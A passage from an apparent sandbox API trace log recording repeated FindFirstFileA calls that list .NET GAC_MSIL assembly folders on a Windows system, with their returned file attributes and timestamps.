ftLastWriteTime.dwLowDateTime=0xf6d3b780, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0133.388] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Applications.Hosting\\v4.0_10.0.0.0__b03f5f7f11d50a3a\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd349f040, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xd349f040, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd349f040, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0133.392] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Applications.Runtime\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6ab4020, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xf6ab4020, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xf6ab4020, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0133.392] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Applications.Runtime\\v4.0_10.0.0.0__b03f5f7f11d50a3a\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd34c51a0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xd34c51a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd34c51a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0133.396] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Applications.ServerDocument\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6a1baa0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xf6a1baa0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xf6a1baa0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0133.396] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Applications.ServerDocument\\v4.0_10.0.0.0__b03f5f7f11d50a3a\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd34eb300, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xd34eb300, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd34eb300, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0133.400] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.ContainerControl\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf5ecd220, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xf5ecd220, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xf5ecd220, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0133.401] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.ContainerControl\\v4.0_10.0.0.0__b03f5f7f11d50a3a\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd3583880, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xd3583880, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd3583880, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0133.404] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Runtime\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf705b460, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xf705b460, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xf705b460, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0133.404] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Runtime\\v4.0_10.0.0.0__b03f5f7f11d50a3a\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd374c900, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xd374c900, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd374c900, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x530045, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0133.408] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Runtime.Internal\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf705b460, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xf705b460, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xf705b460, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0133.409] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Runtime.Internal\\v4.0_10.0.0.0__b03f5f7f11d50a3a\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd37bed20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xd37bed20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd37bed20, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0133.413] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.Windows.ApplicationServer.Applications\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x940090e0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x940090e0, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x940090e0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0133.414] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.Windows.ApplicationServer.Applications\\v4.0_4.0.0.0__31bf3856ad364e35\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x940090e0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x5ce245e0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x5ce245e0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0133.418] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.Workflow.Compiler\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa5df7160, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0xa5df7160, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xa5df7160, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0133.419] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.Workflow.Compiler\\v4.0_4.0.0.0__31bf3856ad364e35\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa5df7160, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x5ce708a0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x5ce708a0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x74, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0133.421] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\PresentationBuildTasks\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa60f0ce0, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0xa60f0ce0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xa60f0ce0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0133.421] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\PresentationBuildTasks\\v4.0_4.0.0.0__31bf3856ad364e35\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa60cab80, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x5dc6c9e0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x5dc6c9e0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0133.423] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\PresentationFramework\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x947795a0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x947795a0, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x947795a0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0133.424] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\PresentationFramework\\v4.0_4.0.0.0__31bf3856ad364e35\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9466ec00, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x5ef51880, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x5ef51880, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0133.426] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\PresentationFramework-SystemCore\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc9eaad40, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0xc9eaad40, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xc9eaad40, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0133.426] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\PresentationFramework-SystemCore\\v4.0_4.0.0.0__b77a5c561934e089\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc9eaad40, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x5efc3ca0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x5efc3ca0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0133.431] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\PresentationFramework-SystemData\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc9eaad40, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0xc9eaad40, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xc9eaad40, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0133.431] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\PresentationFramework-SystemData\\v4.0_4.0.0.0__b77a5c561934e089\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc9eaad40, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x5f00ff60, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x5f00ff60, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0133.436] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\PresentationFramework-SystemDrawing\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc9eaad40, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0xc9eaad40, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xc9eaad40, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0133.436] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\PresentationFramework-SystemDrawing\\v4.0_4.0.0.0__b77a5c561934e089\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc9eaad40, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x5f05c220, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x5f05c220, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0133.441] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\PresentationFramework-SystemXml\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc9eaad40, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0xc9eaad40, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xc9eaad40, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0133.442] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\PresentationFramework-SystemXml\\v4.0_4.0.0.0__b77a5c561934e089\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc9eaad40, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x5f0ce640, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x5f0ce640, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0133.444] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\PresentationFramework-SystemXmlLinq\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc9eaad40, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0xc9eaad40, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xc9eaad40, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0133.445] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\PresentationFramework-SystemXmlLinq\\v4.0_4.0.0.0__b77a5c561934e089\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc9eaad40, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x5f0f47a0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x5f0f47a0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0133.451] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\PresentationFramework.Aero\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9479f700, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x9479f700, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x9479f700, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0133.452] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\PresentationFramework.Aero\\v4.0_4.0.0.0__31bf3856ad364e35\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9479f700, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x5e722ce0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x5e722ce0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0133.454] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\PresentationFramework.AeroLite\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc9eaad40, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0xc9eaad40, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xc9eaad40, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0133.455] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\PresentationFramework.AeroLite\\v4.0_4.0.0.0__31bf3856ad364e35\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc9eaad40, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x5e7bb260, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x5e7bb260, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0133.457] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\PresentationFramework.Classic\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x947c5860, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x947c5860, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x947c5860, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0133.458] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\PresentationFramework.Classic\\v4.0_4.0.0.0__31bf3856ad364e35\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x947c5860, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x5e807520, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x5e807520, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0133.461] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\PresentationFramework.Luna\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x948aa0a0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x948aa0a0, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x948aa0a0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0133.462] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\PresentationFramework.Luna\\v4.0_4.0.0.0__31bf3856ad364e35\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x94883f40, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x5e879940, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x5e879940, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0133.464] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\PresentationFramework.Royale\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x948f6360, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x948f6360, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x948f6360, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0133.465] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\PresentationFramework.Royale\\v4.0_4.0.0.0__31bf3856ad364e35\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x948f6360, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x5e8c5c00, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x5e8c5c00, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0133.467] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\PresentationUI\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x94942620, ftCreationTime.dwHighDateTime=0x1d2e621, 